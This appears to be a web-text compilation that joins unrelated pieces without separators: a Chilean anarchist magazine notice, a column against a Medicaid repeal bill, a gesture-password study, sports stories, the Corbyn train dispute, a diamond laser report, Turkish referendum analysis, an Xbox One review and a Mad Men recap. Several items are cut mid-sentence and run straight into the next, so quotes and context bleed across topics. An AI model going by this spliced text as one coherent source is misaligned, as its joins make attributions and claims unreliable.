The 4th issue of the Chilean class-struggle anarchist magazine "Solidaridad" is now available. The magazine is the product of a joint effort by the Santiago-based anarchist organizations Voz Negra, Estrategia Libertaria and the Corriente de Acción Libertaria. The cover price is 300 pesos (o.45). To contact the editorial team, write to publicacion.solidaridad at gmail dot com.We have to struggle together with the social movement which is in a phase of gradual resurgence thanks to the definitivee elimination of this Act and the freedom of everyone who has been imprisoned for 'political questions'. Sooner or later, this "Bloody Act" will not only be applied to groups linked to certain practices and ideologies (such as "anarchism" or the "Mapuche"), but will be extended to all those who go beyond the law and engage in direct action to resolve their interests, who are in opposition to the interests of those in power. To cope with this situation we must be united and build a strong, organized people, capable of countering the blows and guaranteeing - despite the difficulties that surely lie ahead of us - the transition to the new humanity".You can find "Solidaridad" here:
Coquimbo:
From comrades of the Kolectivo Mestizo Chorizo.
Sarri-Sarri Records, La Galería, San Ignacio #75, local 31
Librería Proyección |
anything about health insurance who likes this monstrous creation.
And I haven't even mentioned the worst thing about the bill: It revokes the ACA's expansion of the Medicaid program, which provided health coverage for millions of the working poor, and turns Medicaid into an underfunded block-grant program to be administered by the states. GOP rhetoric about federalism and local control is smoke designed to obscure the real goal, which is to dramatically slash the federal contribution toward Medicaid.
In the short term, billions of health-care dollars would effectively be transferred from states that participated in Medicaid expansion, such as California, to states that did not, such as Texas. In the long term, however, all states would suffer from inadequate federal funding of Medicaid, which is the primary payer for about two-thirds of nursing-home residents nationwide.
There is a rational motive for all of this, although it's a nefarious one that the GOP doesn't like to talk about: Slashing Medicaid spending would make room for huge tax cuts that primarily benefit the rich. Yes, senators, we see that, too.
It is tempting to let the Republican Party drive itself, Thelma-and-Louise style, off this cliff. But the human impact of the latest repeal-and-replace measure would be too tragic. Call your senator. Make a deafening noise. We must do everything we can to kill this bill.
Read more from Eugene Robinson's archive, follow him on Twitter or subscribe to his updates on Facebook. You can also join him Tuesdays at 1 p.m. for a live Q&A.Skyway’s pop-up allotment project in Hackney will promote permaculture
Students (L) Amira Shamsiddinova, Rupali Bhatnagar, Philippa Grainger, and Partha Ray explore the plants at the new Grow SkyWay pop-up allotment at Hoxton Overground Station. Archant
Hoxton Overground Station’s entrance has been beautified by a pop-up allotment, thanks to the work of to a young charity which wants to reconnect young people with their local community.
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Students (L),Partha Ray, Rupali Bhatnagar, Philippa Grainger, and Amira Shamsiddinova by the new Grow SkyWay pop-up allotment at Hoxton Overground Station.
Grow SkyWay is the latest venture from youth engagement charity SkyWay, and it is hoped it will foster an entrepreneurial spirit, allowing young people to develop carpentry, gardening and retail skills, whilst learning about green principles like sustainability and self-sufficiency.
The idea is for the project to become financially self-sustainable programme, with the young passing on their knowledge to others.
Hoxton Station’s delivery manager Pauline Lawler said: “We are happy to be working alongside the local community to brighten up the station and give this opportunity to young people.”
As part of the project, a stall at Broadway market due to open on October 27, will sell Grow Boxes to the public.
For more information see www.skyway.uk.comRather than painstakingly typing in passwords on your smartphone, you may eventually just swipe a shape or other pattern on its display to authenticate yourself for everything from mobile banking to shopping.
Researchers at Rutgers University and Finland’s Aalto University are studying the utility of what they call “free-form gesture authentication”—basically, using one or several fingers to draw any shape or pattern on the screen to prove your identity along with your username. After having a group of people test out such passwords to access apps on Android smartphones while another group used standard text-based passwords, they say that doodling a figure on your touch screen is quicker and just as memorable as a text password.
“These gestures really present an alternative to smartphone authentication because they are fast to create and also fast to use,” says Janne Lindqvist, an assistant professor of electrical and computer engineering at Rutgers. He co-authored a paper detailing the work that will be presented in May at the ACM-CHI computer-human interaction conference in San Jose, California.
Free-form passwords you draw with your fingers can be faster than typing passwords and as easy to remember, say researchers at Rutgers University and Aalto University.
The research comes two years after Lindqvist and his colleagues started investigating the use of gestures for authentication on tablet touch screens in the lab. This time, they wanted to see what would happen when people actually tried them on their phones while going about their days as usual, so they had a group of 91 study participants use their own smartphones over two weeks with an app that occasionally prompted them to log into fake accounts (two different ones during the first week, and six during the second week).
The researchers found that people using gestures rather than text as their passwords took 22 percent less time to log in to the dummy accounts. It also took gesture users 42 percent less time to come up with gesture passwords in the first place.
The most common types of gesture passwords people came up with were shapes, ranging from squares and hearts to stars and envelopes.
The gesture-password group did make almost twice as many errors in inputting their passwords, however. Since a lot of these errors happened soon after they made their passwords, and they dropped off over time, researchers think it indicates that getting accustomed to these kinds of passwords will take time.
But Lindqvist says the gestures can be more secure than text passwords, since they can be more randomized, and it’s easy to generate tons of text-based passwords with a computer that can be used to hack into people’s online accounts. What’s not yet clear is whether it could become easier for a hacker to crack gesture-based passwords if they were more commonly used.
One possible way to limit bad guys from breaking such passwords may lie with the threshold that must be set for how precisely a person needs to swipe his gesture on the screen to get into a given account—in real-world applications, Lindqvist says, you could tweak these thresholds based on how secure you want an account to be (although, presumably, that could also make it frustrating to users with sausage fingers).
Nasir Memon, a professor of computer science and engineering at New York University who has conducted similar research in the lab, says that while making a password-entry system more tolerant of variations in the shape you swipe opens up avenues for attack, the subtleness of the speed and pressure when using your hand to enter a shape also makes it hard for a hacker to imitate.
“Even if they can observe you, the advantage of gesture is it would take them time and practice to replicate it,” he says.Jeff Lagerquist, CTVNews.ca Staff
A Calgary Flames player is inviting Indigenous children from Canada’s northern territories to get up close and personal with NHL action that’s normally thousands of kilometres away.
Defenceman Travis Hamonic started the initiative, dubbed the “Northern Project,” by flying Emmanuel Otak and his two young sons 2,300 kilometres from Nunavut to Calgary -- a journey that required five separate flights.
He treated them to an all-expenses-paid visit, including a game between the Flames and the Nashville Predators last weekend.
“My heritage is something that I hold really close to me. Being Metis myself, you want to be able to help,” Hamonic told CTV News. “My wife Steph and I decided that was something really important to us, to try to help and give back.”
The Flames lost the game, but the trip was a major win for everyone involved. The family toured the Scotiabank Saddledome, collected autographs while meeting the team in the dressing room, and bumped their gloves as they walked out for a pre-game warm-up.
Travis Hamonic invited his first Northern Project guests, Pakak, Emmanuel and MacLeod, to send the boys out for warm-ups! pic.twitter.com/wsPfxaO1CI — Calgary Flames (@NHLFlames) December 17, 2017
Otak’s first language is Inuktitut, but his family’s passion for hockey spoke louder than words when they saw their first NHL game.
“It’s my first time being in Calgary with my two boys. I’m so excited that I don’t know what to say,” he explained. “Up north we don’t see these things.”
We’re honoured to have you as a part of the #CofRed family, Pakak, Emmanuel and MacLeod! pic.twitter.com/w4YVbGFotw — Calgary Flames (@NHLFlames) December 17, 2017
Hamonic praised his teammates for making the family feel special. He wants to expand the Northern Project and bring more families to Calgary for once-in-a-lifetime experiences.
“It’s been awesome. I haven’t been able to wipe the smile off my face,” Hamonic said. “We’re going to do one (family) from each northern territory this season, and hopefully we’ll keep going.”
We would like to give a big #CofRed welcome to Emmanuel, MacLeod and Pakak from Naujaat, Nunavut. The family is here this weekend courtesy of “The Northern Project” community program, created by Travis and Stephanie Hamonic. #BeTheReason pic.twitter.com/AgGODgsR6N — Flames Foundation (@FlamesFdn) December 16, 2017
With a report from CTV’s Alberta Bureau Chief Janet DirksThere’s no question that Dwight Howard and Andrew Bynum are the best centers in the NBA. And, contrary to the overblown opinion of Shaquille O’Neal, it’s also beyond doubt that Howard is far and away better than Bynum. Here’s why:
SIZE AND STRENGTH
Howard measures 6-foot-11 and 265 pounds. In the other corner, Bynum is 7-foot and 285 pounds. Bynum may be longer and weightier, but Howard is much stronger. Whether on offense or on defense, Howard simply commands much more acreage.
REBOUNDING
According to the latest available statistics, Howard averages 16.0 rebounds per game as against Bynum’s 13.2. Part of Howard’s advantage is due to his playing 38.4 minutes per to Bynum’s 34.1 – the former snags a rebound every 2.4 minutes, the latter every 2.6 minutes. However, DH gets off the floorboards quicker and higher than AB, and his sphere of rebounding influence is much wider. In fact, Howard is at least a five-space rebounder, i.e., his range is four body spaces in all directions, whereas Bynum is at best a two-space rebounder.
Neither player excels in throwing post-rebound outlet passes, although Howard has a slight edge here.
SCORING
Here’s a misleading stat: Bynum puts up a shot every 2.7 minutes of playing time, whereas Howard shoots once every 2.9 minutes. The difference is that, because of his inept performance at the stripe (46.7 percent), Howard is often deliberately fouled in the act so the resulting shot does not count. Bynum makes 5.3 appearances per game at the foul line to Howard’s 12.2. No wonder Howard puts up 20.1 ppg and Bynum only 15.9.
Also, whereas Howard is the Magic’s go-to scorer, LA’s fail-safe point-maker is Kobe Bryant. The only caveat here is that because of Howard’s miserable free-throw shooting, he’s seldom given the ball in the pivot in clutch situations.
Except when he has a straight-line route to the basket, Bynum will always make an initiatory dribble and fake in one direction, and then use a spin or a drop step to reverse his move. Howard, meanwhile, can either make a similar reverse-move or make a determined power-move taking either hand to the middle, looking for a hook shot. Howard will sometimes incorporate a double-fake in his effort to score, something that Bynum never does.
Bynum does, though, have slightly better shooting range and, indeed, has a short ten-foot jumper in his arsenal. During the early part of last season, Howard was routinely facing up and unleashing bank-shots from the same distance. However, this experiment has long since been abandoned and Howard’s low-post offense is always in an attack-mode.
In addition, Howard is able to establish and maintain better pivotal position. Because Bynum’s center of gravity is much more elevated, smaller defenders can apply pressure to his legs and hips and force him to move a critical step or two away from the rim. Bynum’s trouble at the stripe (54 percent) also makes him an untrustworthy option in the endgame.
Overall, while Bynum relies on length and finesse to score, Howard plays bigger and with more power.
BALLHANDLING
The relevant numbers are: Howard 2.4 assists and 3.3 turnovers, Bynum 1.3 assists and 2.5 turnovers.
The only effective passes that Howard can complete when he’s crowded in the pivot are simple deliveries to a teammate positioned at the top – where a subsequent and successful jump credits Howard with an assist. Hitting cutters in close quarters is beyond his capabilities, which is why the Magic rarely send players hoopwards when Howard is being doubled. Most of Howard’s turnovers result when he tries to force his dribble into a crowd.
Bynum is slightly better at hitting dive-cutters. But his footwork isn’t as decisive as Howard’s, so savvy defensive teams crowd his foot-space and bring helpers from the weak-side in anticipation of Bynum’s inevitable reverse-moves.
OTHER CONSIDERATIONS ON OFFENSE
Howard sets and hold better screens, and is quicker and more forceful on post-screen rolls. Howard is also faster in defense-to-offense transitions, looking to run straight to the basket, turn-and-seal, and get easy shots before the defense can get set.
Lately, Bynum is also trying to make hustling rim-runs.
DEFENSE
Bynum is often too hesitant when he has help responsibilities on opponents’ ball penetrations. Should he make a full commitment to the ball? Or keep in touch with his man? What he should be doing is what is known as “Show and Recover” – make a convincing and menacing move to the ball-carrier while keeping his balance so that he can still retreat to his man if a pass is made.
Howard meanwhile is naturally quicker to the ball, so he can wait until the last split second before making a full-bore attempt to either block or discourage a shot in the paint. Which is why he’s a more effective shot-blocker (2.2 to 1.8) and is a perennial selection to the All-Defensive five.
However, smart veteran teams can successfully move the ball quickly and strategically enough to sucker Howard out of position and leave the rim undefended.
Neither Howard nor Bynum is outstanding in defense of opponents who can, turn, face, and either shoot or go. Although Bynum’s long arms and high shoulders make him slightly better here.
Because Bynum mostly relies on his size and length, he generally plays reactive defense and is therefore highly susceptible to being in foul trouble. On the other hand, the league’s referees have become used to Howard’s bump-and-shove defense and allow him much more leeway.
INTANGIBLES
Howard always plays hard, something that Bynum doesn’t always do. Howard is durable where Bynum’s history is plagued with serious injuries. Howard is always active and decisive where Bynum is often hesitant.
Overall, it’s no contest. If Howard is Superman, then Bynum is merely Batman.Media playback is unsupported on your device Media caption Virgin Trains has released footage of Mr Corbyn's journey
Virgin Trains has questioned footage showing Jeremy Corbyn sitting on the floor of a "ram-packed" service.
In a film shown on The Guardian, the Labour leader said he was experiencing a problem "many passengers face every day" on the London to Newcastle train.
But Virgin said CCTV showed Mr Corbyn and his team walking past available seating before starting filming.
It says the crew helped him to a carriage where seats were available and he sat for the rest of his journey.
According to The Guardian's report last week, the footage of the Labour leader was taken by Yannis Mendez, a freelance filmmaker who volunteers for his campaign.
The Labour leader chose the spot on the floor instead of upgrading to first class, it said.
Image copyright The Guardian Image caption The original footage was reported in The Guardian
In the footage, Mr Corbyn said: "This is a problem that many passengers face every day, commuters and long-distance travellers. Today this train is completely ram-packed.
"The staff are absolutely brilliant, working really hard to help everybody.
"The reality is there are not enough trains, we need more of them - and they're also incredibly expensive."
Mr Corbyn said the episode made the case for the railways to be renationalised, one of his key policy pledges.
How Virgin says the journey unfolded
Image copyright Virgin Trains Image caption 11:07: Shortly after departing Kings Cross, Mr Corbyn and his team walk past empty, unreserved seats in Coach H
Image copyright Virgin Trains Image caption 11:08: Mr Corbyn walks past reserved, but empty, seats in Coach F
Image copyright Virgin Trains Image caption 11:43: Shortly after being filmed sitting on the floor, Mr Corbyn returns to Coach H and sits down
He had been travelling to Newcastle to take part in a hustings against Owen Smith, who is challenging him for the leadership of the Labour Party.
Virgin founder Sir Richard Branson tweeted a link to the CCTV images, saying Mr Corbyn had "walked past empty unreserved seats then filmed claim train was 'ram-packed'".
The company said that after Mr Corbyn's team had finished filming: "The same footage then shows Mr Corbyn returning to coach H and taking a seat there, with the help of the onboard crew, around 45 minutes into the journey and over two hours before the train reached Newcastle.
"Mr Corbyn's team carried out their filming around 30 minutes into the journey."
It said the first stop on the journey, on 11 August, had been York - 1:50 hrs after leaving London.
Mr Corbyn's campaign team said: "When Jeremy boarded the train he was unable to find unreserved seats, so he sat with other passengers in the corridor who were also unable to find a seat.
"Later in the journey, seats became available after a family were upgraded to first class, and Jeremy and the team he was travelling with were offered the seats by a very helpful member of staff."
They released photos of other people sitting on the floor and comments from a fellow traveller who said the service was "very overcrowded".
Asked about the CCTV footage apparently showing Mr Corbyn walking past seats without "reserved" signs on them, the Labour leader's team said some of these seats had bags on them which appeared to belong to people who had gone to the toilet.
Analysis by Tom Bateman, BBC political correspondent
Image copyright PA
On one level, this is a story that appears trivial - about whether a politician could find a seat on a train.
But it is fast developing into a political row between the leader of the opposition and one of Britain's biggest rail firms.
Jeremy Corbyn's video on the floor of the train made a political point - that the "ram-packed" train showed the case for the renationalisation of the railways.
Here was a Labour leader attacking the performance of private train companies in a vivid and visual way. The response: Richard Branson today tweeted the claim that Mr Corbyn had walked past empty seats - complete with CCTV picture.
Team Corbyn's statement appears to add another perspective about events on the 11:00 Kings Cross to Edinburgh: That other passengers sat on the floor too.
It will be important for a leader who promised a "new kind of politics" and authenticity not "spin" - his opponents would waste no time attacking him if they believed the video was stage managed.
At a leadership rally in east London, Sam Tarry - Mr Corbyn's campaign spokesman - accused the Virgin boss of taking a "pop" at the Labour leader for challenging the status quo.
He said the "spat" illustrated that the "establishment is absolutely petrified at what this campaign and what this movement is all about" - adding that Labour's commitment to renationalise the "failed" railways had "great resonance" with the public.
Virgin Trains, which runs the service as part of its East Coast franchise, thanked Mr Corbyn for his praise for its staff and said more capacity was being introduced at peak times.
The operator told Press Association that two passengers were moved from standard to first class so that Mr Corbyn could sit next to his aide.
It added: "But we have to take issue with the idea that Mr Corbyn wasn't able to be seated on the service, as this clearly wasn't the case.
"We'd encourage Jeremy to book ahead next time he travels with us, both to reserve a seat and to ensure he gets our lowest fares, and we look forward to welcoming him onboard again."
On Twitter, Mr Smith said his campaign remained "on track" and that he was "proud to be genuinely standing up for ordinary people".
The Transport Salaried Staffs Association said Virgin Trains was being "disingenuous", claiming the empty seats were in fact reserved.
Manuel Cortes, the union's general secretary, said: "Passengers fully empathised with this story because far too many of them are having to put up with the sort of travel that Jeremy was right to highlight on a regular basis and have had to pay through the nose to do so.
"No amount of spinning by Virgin will dent the people's will to see our railways brought back into public ownership."The "super" laser brings together the power of multiple laser beams directed into a single intense output using an ultra-pure diamond crystal at the point of convergence.
Though it's not big enough or strong enough to destroy a planet, scientists have developed an amplified laser reminiscent of the Death Star from "Star Wars," according to a new study.
The futuristic superweapon combines multiple laser beams into one destructive blast, the researchers said. The idea of merging laser beams is not new, nor has it been limited to science fiction before now. A decades-old Russian missile defense project looked to use liquid as a beam combiner, but that project was abandoned after it was deemed not practical. A similar project in the U.S. investigated laser fusion, but using different materials. Now, a team of Australian scientists has combined the principles of these two research projects and applied them to a new material: diamond.
An ultrapure diamond crystal is the key to a new proof-of-concept amplified laser. By placing a diamond at the point of convergence of the different laser beams, the power of each individual beam is transferred into one potent laser beam, the researchers said. This power transfer occurs due to Raman scattering — when particles are dispersed and excited to higher energy levels — which is especially strong in diamond, according to the scientists. [Science Fact or Fiction? The Plausibility of 10 Sci-Fi Concepts]
Diamonds also have high thermal properties that allow them to harness the laser beams' energies without overheating — a concern with other materials that could be used to combine the laser beams.
"The fundamental problem is that the laser materials struggle to dissipate the very large waste heat load," study co-author Rich Mildren, an associate professor of physics at Macquarie University in Sydney, Australia, told Live Science. "There are technologies on the verge of having enough power, but heat build-up causes the beam to flare and power to drop leading to a lack of power on target."
Researching amplified-laser concepts has become increasingly important as new security threats have arisen, Mildren said. From low-cost drones to missile technology, militaries around the world are looking to high-power lasers as a possible defense solution.
Initial tests of the diamond laser have shown success in short bursts, and the researchers said they are continuing to test the laser for longer periods and at higher powers. When fully operational, the amplified laser could disable drones, missiles and other small objects, according to Mildren.
"Such high-power lasers are also potentially useful in management of space junk, propulsion of small space vehicles and beaming power to remote locations," Mildren said.
The proof-of-concept laser was described in a study published online March 30 in the journal Laser and Photonics Reviews.
Original article on Live Science.Texas Rangers left fielder Josh Hamilton (32) watches the game from the dugout during Game 5 of the ALDS between the Texas Rangers and the Toronto Blue Jays at Rogers Centre in Toronto, Canada on Wednesday, October 14, 2015. (Louis DeLuca/The Dallas Morning News)
SURPRISE, Ariz. - After "turning a corner," in his recovery from a knee procedure, Josh Hamilton could get back on the field this week at Rangers training camp, perhaps as early as Sunday.
Hamilton received injections of stem cells and platelet rich plasma into his painful left knee early in camp and has been sidelined ever since.
He said Sunday, however, that he is now 100 percent pain free. It's the best he's felt since an injection in the knee in January.
"I felt the same way then," Hamilton said. "But I think I did too much too fast. I've got to keep the reigns under control, manage it a little bit better. Right now, there is no pain an I've got full function of the knee. It's just about staying the course and not getting to over excited or over anxious with it."
Rangers assistant general manager Thad Levine said Sunday that the club has not closed the door on a May 1 return for Hamilton if he has not setbacks.
Hamilton has swung off a tee in the batting cages this week. Next up: Throwing on the field. He is hopeful of getting in a full work group by the middle of the week, with the lone restriction being management of running.
"It will be good to have a change of scenery," Hamilton said,Will ‘no’ campaign lead to a new center-right party? Turkish society is divided right down the middle as the country heads to a referendum on April 16 to decide on whether to replace the current parliamentary system with one with an executive presidency. According to the latest polls, half of the voters are on the “yes” front, while the other half is firmly “no,” with tensions between the two camps rising every day.
While President Recep Tayyip Erdoğan and the ruling Justice and Development Party (AKP) officials lead the “yes” campaign for the upcoming referendum on charter changes – with a little support from the opposition Nationalist Movement Party (MHP) – the “no” campaign sees much more diverse participation.
The main opposition Republican People’s Party (CHP) and its leader, Kemal Kılıçdaroğlu, have kept a relatively low profile during the campaign, while the People’s Democratic Party (HDP), with 13 of its lawmakers and hundreds of mayors and officials jailed, is mostly embroiled in its own problems.
This leaves an open space for “civilian initiatives.” From Turkish Bar Association (TBB) head Metin Feyzioğlu to former soldiers who were on trial in the Ergenekon and Balyoz coup plot cases, and from former CHP leader Deniz Baykal to potential CHP leader Muharrem İnce, many people have been traveling to remote parts of Anatolia to meet locals and try to convince them to vote “no.”
Such mobilization from various segments of society and the political spectrum is unprecedented in Turkey.
Very significant support for the “no” camp comes from former – and some current – MHP members who unsuccessfully challenged MHP leader Devlet Bahçeli last year to an extraordinary congress for leadership change.
Since the struggle within the party started, hundreds of MHP officials, including current and former MHP lawmakers, have been expelled from the party.
Many others resigned – or were dismissed – after they criticized Bahçeli’s decision to support the AKP-led charter changes.
Many pundits and pollsters believe that at least half of MHP voters, with some putting the number as high as 80 percent, will vote “no” in the referendum despite Bahçeli’s call for “yes.”
Former MHP lawmakers who are actively campaigning, especially Sinan Oğan and Meral Akşener, who were both planning to run for the party’s top post, face problems in holding meetings in Anatolian towns, although their visits are closely followed by locals.
Akşener, who was Turkey’s first – and so far only – female interior minister from November 1996 to June 1997, addressed thousands of people in İzmir’s Gündoğdu Square on March 26, in a rally covered live by Halk TV, which has close ties to the CHP.
The popularity of Akşener, who was once denounced by Bahçeli for having links to the Fethullah Gülen network, and other “no” campaigners on the political right, may be the early signs of a new political movement on the right.
It is no secret that many politicians on the center-right who have been a part of the AKP since day one are not happy about the party’s latest situation.
Among those said to be discontent are former President Abdullah Gül and former Prime Minister Ahmet Davutoğlu. Both names have been targets of fierce attacks from pro-Erdoğan media figures, who say “it’s the Reis [leader, a nickname for President Erdoğan] that matters, not the party.”
The AKP has been enjoying the luxury of being the biggest recipient of center right and conservative votes without any major challenge. As it consolidated the party’s constituency with a more conservative shift in the last couple of years, some secular center-right votes in the metropolises shifted to the CHP.
Akşener’s popularity in İzmir is significantly important. Although the Aegean port province now seems to be a bastion of the CHP, the real voting characteristics in the city used to be center right. For example, in 2002, the Genç Parti, a populist center-right party founded a few months before the Nov. 3 elections by businessman Cem Uzan, received 17.5 percent of the votes in the city, half a point more than the AKP, coming in second behind the CHP with 30 percent. In 1995, when there were two major players on the center-right, the total votes of the True Path Party (DYP), Motherland Party (ANAP) and Islamist Virtue Party (RP) – which Erdoğan and Gül were members of – exceeded 60 percent. Secular concerns have helped the CHP appeal to a much bigger constituency in the city, receiving almost 47 percent of the vote in the Nov. 1, 2016, elections, but some of those votes are protest votes that could easily go another way.
Akşener’s popularity might be considered a sign that voters in İzmir and across the country are ready to give a chance to a new populist political movement.Software
Day One Patch and setup
If there's one trend this console generation could do without, it's massive launch-day patches that enable standard functionality. Xbox One is no hero in this department: The first thing your new One will do when you turn it on is attempt to connect to the internet and download said patch. Should you choose to skip the process, your console won't go anywhere beyond the Dashboard. It won't even play games!
After connecting, you've got a big patch on your hands -- at least 500MB -- before restarting and beginning the actual setup process. We encountered longer-than-normal restart times during this initial process; it's possible the update will go smoother on launch day, but don't be too concerned if it's a little... disconcerting. When the console's back up and running, just enter a handful of the usual data (Gamertag, Microsoft login, region, et cetera) and you're in. If you'd like to set up Kinect face and voice recognition, there's an option; the same goes for controlling the TV and setting up OneGuide. If you want to skip all that and jump right into games, you can do that as well.
Navigating the OS
Windows 8 is far from perfect when it comes to non-touchscreen PCs, but it's perfectly navigable on Xbox One. The main Dashboard is basic, and built around access to what you use: Friends is glued to the left side, with the large main pane reserved for your active content and surrounding panes showing recently used and "active" apps, Snap, your software folder and the disc content square. Software is where Microsoft outclasses the competition -- the Xbox One Dashboard is simply a cleaner, more intuitive setup than the PlayStation 4's endless app list.
Three main areas divide up the Dashboard: Pins, Home and Store. Home is described above; Pins are... whatever you've chosen to "pin" (or attach) to that screen; and Store contains quick links for various categories (games, movies/TV, music and apps) above a search bar, all of which leads into a deeper storefront (more on that in a moment). Pins can be especially neat. Think: pinning an album or playlist from Xbox Music and jumping directly in from the Dashboard. Ultimately, this is the number one way to customize your experience, as voice commands only get you so far.
Voice commands and multitasking
As we said earlier, turning on the One by saying "Xbox: On!" is delightful. Tying that experience to the TV so that, when the console is running in "always on" lower-power mode, both can be "woken" with voice, is powerful. Pair all that with face recognition and you've got a game console that boots in less than 15 seconds, all from saying two words. But say those words carefully and with extra enunciation, because otherwise you might have to say them a few more times. And don't you already feel silly enough speaking to electronics?
That entire last paragraph is representative of the Kinect voice experience on Xbox One, from basic Dashboard commands to in-game action and during Hulu Plus streaming: It's just not a reliable enough input method. When it does work, boy is it incredible. Every time it doesn't, we're one step closer to disconnecting it forever.
When voice commands work, jumping from game to app and back to game is seamless, with no need to re-launch most apps after loading. Four applications can run at any one time, with one game included in the four. That number of "active" applications may shrink depending on how memory-intensive your companion apps are to the system at any given time -- Skype, for instance, seemingly takes up more memory than, say, Netflix or Hulu Plus. It's not always clear how many can remain active, but whichever game you were playing last remains suspended (music playing in Xbox Music keeps its place, etc.). We cannot be clear enough here: When voice commands work and you've got several apps active as well as a game, jumping between them is instant. Not quick -- it's immediate.
Should you go the controller-only route, switching between apps is also quite speedy when you employ the Home button. Rather than launching a miniguide like on 360, you've got access to the full Dashboard. From there, your active apps are just a button press away.
Additionally, even when you turn off the console (but leave it in "always on" mode), it will reawaken with your game in the same paused state from when you were using it earlier. Pretty great! Should you load another game, the previously suspended game will turn off, making way for the new game -- there's no warning here either, so be careful when issuing voice commands that sound like "Xbox: Go to Dead Rising 3" while your game of Forza Motorsport 5 is suspended mid-race. In fact, that unfortunate scenario happened to us. Imagine that wasn't a single race, but hours of unsaved game progress. Yeah.
That's frustrating not only because the game of Forza was shut down mid-race, but also because loading times for games can be incredibly long from a dead stop. Dead Rising 3 is a solid two-minute load from Dashboard to in-game (that includes loading our save file and getting into the game), whereas Forza takes about a minute and a half and Killer Instinct takes one. After that initial load, they're instant to re-load from the Dashboard or from other apps, but not between other games.
Shortcomings and oddities aside, the multitasking on Xbox One is leaps and bounds ahead of the competition. The Xbox One handily switches between several apps and a game at once, whereas the PlayStation 4 works with two at most (including one game). It's a credit to Microsoft's software prowess that the console can handle so much at once. It's even relatively organized as well!
Live TV and OneGuide
The HDMI plug that comes out of your cable box: That one goes into the back of the Xbox One where it says "HDMI In." Then you snag another HDMI cable and run it from "HDMI Out" on the Xbox One to your television. And that's it: You've completed the "Make Live TV Work on Xbox One" process (unless you haven't set up Kinect to work with your TV's IR sensor yet, which takes another few moments). It's very, very easy. And that's because the Xbox One is doing little more than acting as an HDMI signal passthrough for the cable box. Any other HDMI devices you'd like to pass through the Xbox One will also work, though beware of a slight delay in gameplay if you throw another game console into the mix.
OneGuide is similarly easy to set up, requiring a postal code and cable TV provider to sync up local channel guide listings with the Kinect's IR blaster, so you can command the One to switch to other channels. The guide also integrates various apps, so that it can be used for navigating between live TV, streaming content (e.g., SkyDrive, Hulu Plus) and more. Only a handful of voice commands work in terms of channel names (the ones you'd expect, like CBS and ESPN), though we were only able to test it with Time Warner in New York City. In short, don't expect the OneGuide to take over your TV-viewing experience, but the Live TV passthrough is still very convenient. One less HDMI plug going into the backs of our HDTVs!
Native apps
Though based on Windows 8, the new OS won't feel alien to longtime Xbox 360 users. Many of the standard applications aren't dramatically different either. The Friends list is still basically just a friends list, though an activity feed keeps a running log of who's doing what in which games. It's the One's equivalent of the PS4's "What's New" section, and it's similarly susceptible to floods of messages from a single, very active user. It's also just not very up to date, making most new information not useful at all.
"My Games & Apps" returns from the Xbox 360's Guide Menu to provide two jumbled, sadly unfilterable rows of every owned piece of software. Like the PlayStation 4's main content area, One's My Games & Apps not only lists everything you own (both games and apps, |
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Ken Cosgrove certainly understands it. At the beginning of the episode, we see Ken toying with Pete, taunting his former rival with self-satisfied indecision. But while Ken likes to watch Pete squirm, he wants to extract a more significant pound of flesh from his old masters, and the Sterling Cooper West plan presents that opportunity. Pete and Roger try to woo their former colleague to bring Dow’s business over to the new venture. “I fantasized that one day, I would be in this situation with you, Roger,” Ken says when they’re finished, “and Pete, well, you’re not exactly an innocent bystander.” This is his prelude to a simple, delicious “no.” From Ken’s point of view, Pete and Roger conspired to rob him of his future. With his refusal, he gets to exact the same pain on them. An eye for an eye.
Like her cohorts in the SC&P executive suite, Joan has invested herself in her career at the expense of her family life, but you don’t see her fighting like Pete and Roger for the survival of Sterling Cooper. The name means something different to her, something less permanent. Look at what happened to her during the past couple of reinventions. Her detailed knowledge of the agency’s operations was essential to the early days of Sterling Cooper Draper Pryce, and as a reward she got a mid-tier office management job in the new firm. Later, the genesis of Sterling Cooper & Partners coincided with Don’s capricious abandonment of the Jaguar business—an account Joan had sacrificed her dignity to secure. All her Sterling Cooper progress has been transient.
In this light, it’s no surprise that Joan greets Don’s latest flight of fancy with the astonished response, “Are we really playing this game?” She recognizes the familiar cycle of wounded ad men protecting their pride, and she had dared to hope that her partners had matured beyond it. No such luck. Oh, and by the way, Don will need Joan to concede her Avon account to McCann—he’ll have her “hand-deliver” the business, in fact, to make his scheme more palatable. Once again, the work that Joan developed is expendable in the interest of Don’s whims. He sees a fresh start; she sees the return of old disappointments.
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Richard hears Joan’s hurt over the phone and resolves to fly out to New York that night for moral support, a gesture that moves her. She’s relieved to speak with a man who takes her career seriously rather than regarding it as a glorified hobby. Contrast Richard’s respectful compassion with Jim Hobart, who, as Joan observes to Pete, “listed off accounts for everyone but me.” With no solid prospects, where does she go now? Does she carve out a niche of business for herself yet again—another Etch-A-Sketch legacy to be bargained away the next time Don feels antsy? Maybe, although at McCann, it’s not even clear she’ll get the chance to do that much. “They don’t know who they’re dealing with,” Pete says by way of consolation. And that’s exactly the problem.
The gaggles of children roaming the SC&P offices are this episode’s ham-fisted (but worthwhile, given the results) way of making Peggy confront her painful choice to give up her son. Peggy is nervous around kids. She tries to browbeat them into playing with their toys, and when a little girl gives her a hug, Peggy practically has an allergic reaction. Stan’s assessment, “You hate kids,” doesn’t seem so far off the mark.
He soon learns that it’s more complicated than that. Peggy is incensed at the mother of the girl who was left behind after the casting session. “I bet you love cashing their checks,” she snaps when the woman finally returns to pick up her kid. Peggy sacrificed a child so that she could work harder; in the stage mom, she sees someone who has children so that she can work less.
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But Peggy also identifies with the woman. Even though Peggy resents her, she sees a kindred spirit—someone who had to deal with the same question of motherhood-or-not. So later, when Stan criticizes the mom, Peggy leaps to her defense. “She should be able to live the rest of her life, just like a man does!” Peggy insists, and Stan realizes that Peggy’s talking about herself.
Peggy doesn’t know the whereabouts of the son she gave up, she confesses, “but it’s not because I don’t care. I don’t know because you’re not supposed to know, or you can’t go on with your life.” Go on. That’s the advice that Don gave her years ago when she was in the hospital maternity ward, confused and afraid. “This never happened,” he told her. “It will shock you how much this never happened.” Instead, it shocks Peggy how much it did happen. The Don Draper model of self-serving amnesia is not effective here. Peggy’s memory of her abandoned child places a lasting pressure on her—she must succeed to justify the portentous choice she made.
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Peggy gave up her son under the theory that it would give her the freedom she needed to build a prosperous, fulfilling career. So she’s thrown when a headhunter advises her to stick around at McCann, parking herself in its soul-deadening confines for a few years. Spending time at a mega-agency will burnish her resume and make her name more valuable, but this isn’t the triumph nor the artistic satisfaction Peggy had hoped for. Still, she feels obligated to make the call that benefits her career. She can’t shortchange the dream now; she sacrificed a child to get this far.
